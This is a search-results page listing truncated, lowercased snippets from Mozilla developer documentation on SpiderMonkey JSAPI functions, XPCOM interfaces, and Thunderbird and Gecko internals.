... length size_t the length of bytes or chars, in characters.
...And 3 more matches
JS_NewUCString
syntax jsstring * js_newucstring(jscontext *cx, char16_t *chars, size_t length); jsstring * js_newstring(jscontext *cx, char *buf, size_t length); // obsolete since jsapi 1.8.5 name type description cx jscontext * the context in which to create the new string.
... buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create.
... length size_t number of characters in the text string.
...And 3 more matches
JS_PutEscapedString
syntax size_t js_putescapedstring(jscontext *cx, char *buffer, size_t size, jsstring *str, char quote); size_t js_putescapedflatstring(char *buffer, size_t size, jsflatstring *str, char quote); name type description cx jscontext * a context.
... buffer char * a pointer to char buffer to write into.
... quote char one of 0, single quote, and double quote.
...And 3 more matches
JS_SetCompartmentNameCallback
this article covers features introduced in spidermonkey 17 set callback function to name each compartment.
... callback jscompartmentnamecallback callback function which will be called to name each compartment (see below).
... callback function typedef void (* jscompartmentnamecallback)(jsruntime *rt, jscompartment *compartment, char *buf, size_t bufsize); name type description cx jsruntime * the runtime of the compartments.
...And 3 more matches
JS_SetNativeStackQuota
this article covers features introduced in spidermonkey 17 enable or disable checks to avoid overflowing the c stack.
...to disable stack size checking, pass 0.
... spidermonkey allows for a distinction between system code (such as gcs, which may incidentally be triggered by script but are not strictly performed on behalf of such script), trusted script (as determined by js_settrustedprincipals), and untrusted script.
...And 3 more matches
JS_TracerInit
cx jscontext * the context in which to perform tracing.
... callback jstracecallback a callback, described below, which the tracing apis will call each time a pointer is found from one gc thing to another.
...in the latter case, the only operations the callback may perform on thing are to call js_tracechildren or the debug-only js_printtracethinginfo function.
...And 3 more matches
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a common mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended.
... for example, instead of writing: autolock lock(mmutex); which causes the lock to be held until the end of the block, one might write: autolock(mmutex); which erroneously causes the lock to be released at the end of the statement.
... we have two techniques for avoiding this problem: static analysis and runtime assertions.
...And 3 more matches
Security and the jar protocol
this article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
... java archive (jar) files are simply zip compressed bundles of files.
... prior to this change, specifying the jar: protocol caused firefox to assume that the file being retrieved is a jar file, regardless of its mime type (in other words, its mime type was assumed to be application/zip, regardless of what it actually was).
...And 3 more matches
Task graph
after a change to the gecko source code is pushed to version-control, jobs for that change appear on treeherder.
...these tasks include build and test tasks, along with lots of other kinds of tasks to build docker images, build toolchains, perform analyses, check syntax, and so on.
... the result of each task is sent to treeherder where developers and sheriffs can track the status of the push.
...And 3 more matches
Retrieving part of the bookmarks tree
this example will get the id of the bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy.
...configure the query to get a hierarchical bookmarks result, pass the folder id to setfolders in your query object: query.setfolders([toolbarfolder], 1); run the query the executequery and executequeries functions will return an nsinavhistoryresult object containing the results of your query: var result = historyservice.executequery(query, options); get the results when you are querying for exactly one folder grouped by folder with no fancy query parameters such as keywords or date ranges (as in this example), the root of the result will be an nsinavhistorycontainerresultnode corresponding to your folder.
...before accessing the children of any result container, you must first open it, and then you can iterate the children.
...And 3 more matches
XML Extras
other test cases for each of the implemented components listed above exist in extensions/xmlextras/tests/.
...file bugs for new test you have, and/or check them into extensions/xmlextras/tests/.
... documentation probably the best way to learn how to use these technologies is through examples.
...And 3 more matches
Components.utils.cloneInto
it returns a reference to the clone: var clonedobject = cloneinto(myobject, targetwindow); you can then assign the clone to an object in the target scope as an expando property, and scripts running in that scope can access it: targetwindow.foo = clonedobject; in this way privileged code, such as an add-on, can share an object with less-privileged code like a normal web page script.
... targetscope : object the object to attach the object to.
... wrapreflectors: a boolean value that determines if objects reflected from c++, such as dom objects, should be cloned.
...And 3 more matches
Components object
there may also be large incompatibilities between implementations and the behavior may change in the future.
... warning: this object is only intended for code running with chrome privileges.
... the components object is the object through which xpconnect functionality is reflected into javascript.
...And 3 more matches
XPConnect wrappers
this document is a high-level overview of xpconnect wrapper objects (for the more technical description see xpconnect security membranes).
... for practical advice on dealing with wrappers, see safely accessing content dom from chrome.
...this includes all dom objects (including window) and chrome elements that are reflected into javascript.
...And 3 more matches
HOWTO
async network requests problem you want to make network requests or do other asynchronous work in xpcshell.
...using js modules and non-ui javascript chrome files problem you want to write a javascript file, and run it in xpcshell.
...maybe it even uses javascript files from chrome:// urls.
...And 3 more matches
operator+=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator+=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
...And 3 more matches
operator=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
...And 3 more matches
operator=
return values this operator returns a reference back to the object being modified to allow operator chaining.
... return values this operator returns a reference back to the object being modified to allow operator chaining.
... self_type& operator=( const char_type* adata ); parameters adata [in] a raw character array to append to this string.
...And 3 more matches
XPCOM glue classes
ns convertasciitoutf16 externalclass declarationns convertutf16toutf8 externalclass declarationns convertutf8toutf16 externalclass declarationns lossyconvertutf16toascii externalclass declarationns_convertasciitoutf16class declarationns_convertutf16toutf8class declarationns_convertutf8toutf16class declarationns_lossyconvertutf16toasciiclass declarationns_overridens_override is a macro which allows c++ code in mozilla to specify that a method is intended to override a base class method.
... if there is no base class method with the same signature, a compiler with static-checking enabled will fail to compile.ns_postconditionmacrons_preconditionmacronsacstringthe nsacstring abstract class represents a character string composed of single-byte storage units.
... this class is typically used to represent ascii or utf-8 character arrays.nsacstring (external)class declarationnsacstring_internalclass declarationnsadoptingcstringclass declarationnsadoptingstringclass declarationnsastringthe nsastring abstract class represents a character string composed of double-byte storage units.
...And 3 more matches
IAccessibleEditableText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations.
...the substrings used with this interface are specified as follows: if startoffset is less than endoffset, the substring starts with the character at startoffset and ends with the character just before endoffset.
... if endoffset is lower than startoffset, the result is the same as a call with the two arguments exchanged.
...And 3 more matches
imgIContainerObserver
1.0 66 introduced gecko 1.7 inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you wish to listen for activities on an imgicontainer, you should implement the framechanged() method.
... method overview void framechanged(in imgirequest arequest, in imgicontainer acontainer, [const] in nsintrect adirtyrect); native code only!
... methods native code only!framechanged called when the frame for an image container has changed.
...And 3 more matches
imgIRequest
inherits from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that this image was loaded with.
... imageprincipal nsiprincipal the principal gotten from the channel the image was loaded from.
...note that cancel() is asynchronous, which means that some time after you call it, the listener/observer will get an onstoprequest().
...And 3 more matches
mozIPersonalDictionary
extensions/spellcheck/idl/mozipersonaldictionary.idlscriptable this interface represents a personal dictionary.
... 1.0 66 introduced gecko 1.4.1 inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/spellchecker/personaldictionary;1.
... to access this service, use var personaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getservice(components.interfaces.mozipersonaldictionary); method overview void addcorrection(in wstring word,in wstring correction, in wstring lang); void addword(in wstring word, in wstring lang); boolean check(in wstring word, in wstring lang); void endsession(); void getcorrection(in wstring word, [array, size_is(count)] out wstring words, out pruint32 count); void ignoreword(in wstring word); void load(); void removecorrection(in wstring word,in wstring correction, in wstring lang); void removeword(in wstring word, in wstring lang); void save(); attributes attribute type description wordlist nsistring...
...And 3 more matches
nsIAboutModule
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long geturiflags(in nsiuri auri); nsichannel newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content.
...otherwise, only chrome will be able to link to it.
...newchannel() constructs a new channel for the about protocol module.
...And 3 more matches
nsIAppStartup
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-startup;1.
... createstartupstate() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) creates the initial state of the application by launching tasks specfied by "general.startup.*" prefs.
... void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line from which startup args can be read.
...And 3 more matches
nsIBidiKeyboard
a user is a bidirectional writer if they have keyboard layouts in both left-to-right and right-to-left directions (that is users who use arabic, iranian (persian), or israel (hebrew) keyboard layout, beside an us (english) layout.) inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview boolean islangrtl(); void setlangfrombidilevel(in pruint8 alevel); attributes attribute type description havebidikeyboards boolean indicates whether or not the system has at least one keyboard for each direction (left-to-right and right-to-left) installed.
...in the gecko 1.8 branch, just islangrtl() had been implemented, and uses gdk's api to check the direction of keyboard layout, which has a problem with hebrew language.
...in the gecko 1.9 branch, we are going to implement all the interface, with xkb functions for xlib and gtk2 backends.
...And 3 more matches
nsIBinaryInputStream
this might be used, for example, to implement network protocols or to read from architecture-neutral disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... inherits from: nsiinputstream last changed in gecko 1.7 method overview pruint8 read8(); pruint16 read16(); pruint32 read32(); pruint64 read64(); unsigned long readarraybuffer(in pruint32 alength, in jsval aarraybuffer); prbool readboolean(); void readbytearray(in pruint32 alength, [array, size_is(alength), retval] out pruint8 abytes); void readbytes(in pruint32 alength, [size_is(alength), retval] out string astring); acstring readcstring(); double readdouble(); float readfloat(); astring readstring(); void setinputstream(in nsiinputstream ainputstream); methods read8() reads from the stream.
... aarraybuffer the arraybuffer in which to store the results.
...And 3 more matches
nsICommandLine
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling behavior.
...switches flags.
... preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example).
...And 3 more matches
nsICommandLineRunner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsicommandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each command-line handler.
...it assumes a native character set.
... on windows the character set is utf-8, not the native codepage.
...And 3 more matches
nsIContentPrefObserver
dom/interfaces/base/nsicontentprefservice.idlscriptable this interface allows code to easily watch for changes to the values of content preferences.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void oncontentprefremoved(in astring agroup, in astring aname); void oncontentprefset(in astring agroup, in astring aname, in nsivariant avalue); methods oncontentprefremoved() called when a content preference is removed.
... void oncontentprefremoved( in astring agroup, in astring aname ); parameters agroup the group to which the removed preference belonged; this may be the uri of a web site.
...And 3 more matches
nsIControllers
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is used to manage instances of the nsicontroller interface.
... windows and text inputs have default controllers that allow commands such as cmd_copy to act on the focused element or window.
...ng getcontrollercount(); nsicontroller getcontrollerforcommand(in string command); unsigned long getcontrollerid(in nsicontroller controller); void insertcontrollerat(in unsigned long index, in nsicontroller controller); void removecontroller(in nsicontroller controller); nsicontroller removecontrollerat(in unsigned long index); attributes attribute type description commanddispatcher nsidomxulcommanddispatcher obsolete since gecko 1.9 methods appendcontroller() adds a controller to the end of the list.
...And 3 more matches
nsIDOMHTMLAudioElement
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidomhtmlmediaelement method overview unsigned long long mozcurrentsampleoffset(); void mozsetup(in pruint32 channels, in pruint32 rate); [implicit_jscontext] unsigned long mozwriteaudio(in jsval data); methods mozcurrentsampleoffset() non-standard this feature is non-standard and is not on a standards track.
...there may also be large incompatibilities between implementations and the behavior may change in the future.
...there may also be large incompatibilities between implementations and the behavior may change in the future.
...And 3 more matches
nsIDOMParser
creating a domparser to create a domparser object from a web page or a chrome script running in a window, simply use new domparser().
...to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
... (this section is only relevant to firefox extensions--not to web content.) to create a document, the parser needs to specify a principal (see security check basics), a base uri (see document.baseuriobject), and a documenturi.
...And 3 more matches
nsIDOMSimpleGestureEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
... mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture.
... mozmagnifygestureupdate - generated periodically while the user is continuing the magnify ("pinch") gesture.
...And 3 more matches
nsIDOMXPathEvaluator
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/dom/xpath-evaluator;1.
...thexpression createexpression(in domstring expression, in nsidomxpathnsresolver resolver) nsidomxpathnsresolver creatensresolver(in nsidomnode noderesolver); nsisupports evaluate(in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result) methods createexpression() creates an nsidomxpathexpression which can then be used for (repeated) evaluations.
...read more on implementing a user defined namespace resolver if you wish to take the latter approach.
...And 3 more matches
getFile
if true, this lets the directory service cache results to improve the performance of directory lookups.
... if false, then the directory service will not cache the results of this method.
... symbolic names the list of symbolic names is subject to change, so be sure to take a look at the xpcom/io/nsdirectoryservicedefs.h file for the version of gecko you're working with for the latest list.
...And 3 more matches
nsIDownload
download objects are used by the download manager (see nsidownloadmanager to manage files that are queued to download, being downloaded, and finished being downloaded.) inherits from: nsitransfer last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: once the download is completed, the download manager stops updating the nsidownload object.
... id unsigned long the id by which the download is identified uniquely in the database - not globally unique.
...use the guid property instead for safe, database-agnostic searching and manipulation.
...And 3 more matches
nsIFeedContainer
toolkit/components/feeds/public/nsifeedcontainer.idlscriptable this interface provides standard fields used by both feeds (nsifeed) and feed entries (nsifeedentry) 1.0 66 introduced gecko 1.8 inherits from: nsifeedelementbase last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) method overview void normalize(); attributes attribute type description authors nsiarray an array of nsifeedperson objects describing the authors of the feed or entry.
...common atom and rss fields are normalized, including some namespaced extensions such as "dc:subject" and "content:encoded".
... consumers can avoid normalization by checking the feed type and accessing specific fields.
...And 3 more matches
nsIFilePicker
inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) implemented by: @mozilla.org/filepicker;1.
...tring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform).
... filterindex long the (0-based) index of the filter which is currently selected in the file picker dialog.
...And 3 more matches
nsIGeolocationProvider
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface.
... after startup() is called, any geo location change should call callback.update().
...after the provider has been initialized, any changes to location should call callback.onrequest().
...And 3 more matches
nsIGlobalHistory2
inherits from: nsisupports last changed in gecko 1.7 this interface replaces and deprecates nsiglobalhistory method overview void adduri(in nsiuri auri, in boolean aredirect, in boolean atoplevel, in nsiuri areferrer); boolean isvisited(in nsiuri auri); void setpagetitle(in nsiuri auri, in astring atitle); methods adduri() add a uri to global history.
... note: docshell will not filter out uri schemes like chrome:, data:, about: and view-source:.
... embedders should consider filtering out these schemes and others, for example mailbox:, for the main nsiuri and the referrer.
...And 3 more matches
nsIGlobalHistory3
1.0 66 introduced gecko 1.8 obsolete gecko 9.0 inherits from: nsiglobalhistory2 last changed in gecko 1.9 (firefox 3) this interface was originally created as part of nsiglobalhistory2, but was split off during the transition to places.
... method overview void adddocumentredirect(in nsichannel aoldchannel, in nsichannel anewchannel, in print32 aflags, in boolean atoplevel); unsigned long geturigeckoflags(in nsiuri auri); void seturigeckoflags(in nsiuri auri, in unsigned long aflags); methods adddocumentredirect() notifies the history system that the page loading via aoldchannel redirected to anewchannel.
... implementations should generally add the uri for aoldchannel to history for link coloring, but are advised not to expose it in the history user interface.
...And 3 more matches
nsIINIParser
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) typically, you'll create an nsiiniparser object by calling nsiiniparserfactory.createiniparser().
... akey the key for which the value should be returned.
...ini sections are * defined by square brakets and look like this: [settings] * all entries below such a section definition belong to that * section (until the next section).
...And 3 more matches
nsIJumpListBuilder
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied.
...lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step.
...users can change the number through system preferences.
...And 3 more matches
nsILivemarkService
you can also use this check whether something is a livemark or not.
... 1.0 66 introduced gecko 1.8 obsolete gecko 22.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this interface is obsolete.
... siteuri the uri of the site from which the livemark was created.
...And 3 more matches
nsIMemoryMultiReporter
xpcom/base/nsimemoryreporter.idlscriptable reports multiple memory measurements using a callback function that gets called once for each measurement.
... 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you want to gather multiple measurements in a single operation (such as a single traversal of a large data structure), you can use a multi-reporter to do so.
... the callback, which must implement the nsimemorymultireportercallback interface, receives values that match the fields in the nsimemoryreporter object.
...And 3 more matches
nsIMemoryReporterManager
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by @mozilla.org/memory-reporter-manager;1 as a service: var reportermanager = components.classes["@mozilla.org/memory-reporter-manager;1"] .getservice(components.interfaces.nsimemoryreportermanager); each memory reporter object, which implements nsimemoryreporter interface, provides information for a given code area.
... each code area is identified by a unique path string, which is displayed in about:memory.
...void registermultireporter( in nsimemorymultireporter reporter ); parameters reporter an object implementing the nsimemorymultireporter interface which provides memory usage information for a given code area.
...And 3 more matches
nsIMicrosummaryGenerator
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
...microsummaries generated by xslt templates need page content, while those which represent the actual microsummary do not.
...for generators installed via nsisidebar.addmicrosummarygenerator(), this uri is a urn of the form urn:source:<url>, where <url> is the remote location from which we installed the generator.
...And 3 more matches
nsIMsgAccountManagerExtension
note: the account manager relies on a very strong naming scheme to load and unload a panel.
... an account manager extension with a "name" attribute of "devmo" and the "chromepackagename" attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo".
... last changed in gecko ???
...And 3 more matches
nsIObserver
inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for.
... void observe( in nsisupports asubject, in string atopic, in wstring adata ); parameters asubject in general reflects the object whose change or action is being observed.
... atopic indicates the specific change or action.
...And 3 more matches
nsIParentalControlsService
toolkit/components/parentalcontrols/public/nsiparentalcontrolsservice.idlscriptable this interface provides access to the operating system's parental controls feature, allowing code to detect whether such a service is enabled and to request overrides to bypass the feature.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: currently, this interface is only supported on microsoft windows vista and newer as well as android 4.3 and newer.
... atarget optional the location to which the content was saved if it was not blocked.
...And 3 more matches
nsIPlacesView
for example, the representation of selection differs between trees, menus, and other such lists.
...rather, each view is responsible for translating its own selection format into one the controller can understand.
...it's currently implemented directly on each of the built-in places views.
...And 3 more matches
nsIPrintingPrompt
embedding/browser/webbrowser/nsiprintingprompt.idlscriptable this is the printing prompt interface which can be used without knowlege of a parent window.
... the parentage is hidden by the getinterface though which it is gotten.
... inherits from: nsisupports last changed in gecko 1.7 this interface is identical to nsipintingpromptservice but without the parent nsidomwindow parameter.
...And 3 more matches
nsIPrompt
netwerk/base/public/nsiprompt.idlscriptable this is the prompt interface which can be used without knowledge of a parent window.
... the parentage is hidden by the getinterface though which it is obtained.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface is identical to nsipromptservice but without the parent nsidomwindow parameter.
...And 3 more matches
nsIStreamConverter
inherits from: nsistreamlistener last changed in gecko 1.7 suppose you had code that converted plain text into html.
...stream converter users there are currently two ways to use a stream converter: synchronous: stream to stream.
... asynchronous: nsistreamlistener to nsistreamlistener.
...And 3 more matches
nsITaskbarPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can not directly instantiate this interface.
...the controller provides the behavior and appearance for the taskbar preview, and is responsible for determining the size and contents of the preview, which buttons are displayed, and how the application responds to user actions on the preview.
... note: neither nsitaskbartabpreview or nsitaskbarwindowpreview makes full use of the controller; see the documentation for each interface for details on which controller methods are used.
...And 3 more matches
nsITreeSelection
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adjustselection(in long index, in long count); void clearrange(in long startindex, in long endindex); void clearselection(); void getrangeat(in long i, out long min, out long max); long getrangecount(); void invalidateselection(); void invertselection(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, ...
... selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods.
... methods adjustselection() called when the row count changes to adjust selection indices.
...And 3 more matches
nsIUpdatePrompt
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean background); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
... void checkforupdates(); parameters none.
... showupdateerror() displays an error message telling the user about an update failure, such as a failure to successfully apply a patch.
...And 3 more matches
nsIWifiMonitor
netwerk/wifi/nsiwifimonitor.idlscriptable this interface can be used to be alerted when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) this is used, for example, by geolocation to use wifi access points for location detection.
... implemented by @mozilla.org/wifi/monitor;1 as a service: var wifimonitor = components.classes["@mozilla.org/wifi/monitor;1"] .getservice(components.interfaces.nsiwifimonitor); method overview void startwatching(in nsiwifilistener alistener); void stopwatching(in nsiwifilistener alistener); methods startwatching() starts listening for changes to the wifi access point list.
...And 3 more matches
nsIWorkerFactory
dom/interfaces/threads/nsidomworkers.idlscriptable creates and returns a new worker 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface was removed in gecko 8.0.
... you don't need to use it anymore to create workers from chrome.
... instead, you can just do new worker or new chromeworker.
...And 3 more matches
nsIXPCScriptable
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void precreate(in nsisupports nativeobj, in jscontextptr cx, in jsobjectptr globalobj, out jsobjectptr parentobj); void create(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr ...
...t jsid idp); prbool newresolve(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 flags, out jsobjectptr objp); prbool convert(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 type, in jsvalptr vp); void finalize(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool checkaccess(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 mode, in jsvalptr vp); prbool call(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 argc, in jsvalptr argv, in jsvalptr vp); prbool construct(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 argc, in j...
... want_convert 1 << 10 want_finalize 1 << 11 want_checkaccess 1 << 12 want_call 1 << 13 want_construct 1 << 14 want_hasinstance 1 << 15 want_trace 1 << 16 use_jsstub_for_addproperty 1 << 17 use_jsstub_for_delproperty 1 << 18 use_jsstub_for_setproperty 1 << 19 dont_enum_static_props 1 << 20 dont_enum_query_interface 1 << 21 dont_ask_instance_for_scriptable 1 << 22 classinfo_interfaces_only 1 << 23 allo...
...And 3 more matches
nsIXULRuntime
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/xre/app-info;1.
... to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running.
... insafemode boolean whether the application was launched in safe mode.
...And 3 more matches
XPCOM reference
core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface.
...they all inherit from nsmsgdbfolder, which implements a lot of the core functionality.
...this macro is meant for critical errors; like assertions, ns_errors should not be reachable.ns_if_addrefmacrons_if_releasemacrons_releasemacrons_warningmacronsgetmoduleprocthis function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book.
...And 3 more matches
The Thread Manager
the thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.
...application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that provide threading support: nsithreadmanager the thread manager itself lets you create threads.
...when you dispatch an event to the pool, the pool selects an available worker thread to process the event.
...And 3 more matches
XPCOM ownership guidelines
such a function is the perfect example of something that creates an object with a longer lifespan that itself, and gives away ownership (by producing a pointer that is already addrefed) --- in this case, to the caller.
...in the latter case, caching the pointer you got back makes you a de facto owner.
... parents own their children (and not the reverse).
...And 3 more matches
XPCOM tasks
changes to the build hierarchy there are things in xpcom that don't belong there.
... 5.1 3rd party code that doesn't use any services from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following items are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do.
... p1 we would like to move to a scheme where no one writes queryinterface, and we save code-space with a table driven implementation.
...And 3 more matches
pyxpidl
the pyxpidl tool suite has been built to replace the older xpidl tool which, in the past, was used to turn xpidl files into c++ headers and xpcom typelibs (xpt files).
... the newer utility has the advantage of not needing any code to be compiled in order to use it, and let us remove a bunch of old code from the tree.
...unlike xpidl, which combined all the functions into a single utility, pyxpidl is comprised of two utilities: header.py, which generates c++ headers from idl, and typelib.py, which generates xpt files.
...And 3 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when ite...
...rom the system */ onitemsremoved: function _onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function _onquerycompleted(conversation_coll) { try { for (var conv in conversation_coll) { //do something with the conversation here alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above).
... if you search for a message based on subject, use noun_message instead of noun_conversation and modify the listener accordingly.
...And 3 more matches
Finding the code for a feature
the first is the dom inspector extension which i have routinely installed in all of my thunderbird installations.
... (for debug builds, you can make it appear by default using "ac_add_options --enable-extensions=default,venkman,inspector" which is part of my standard configuration).
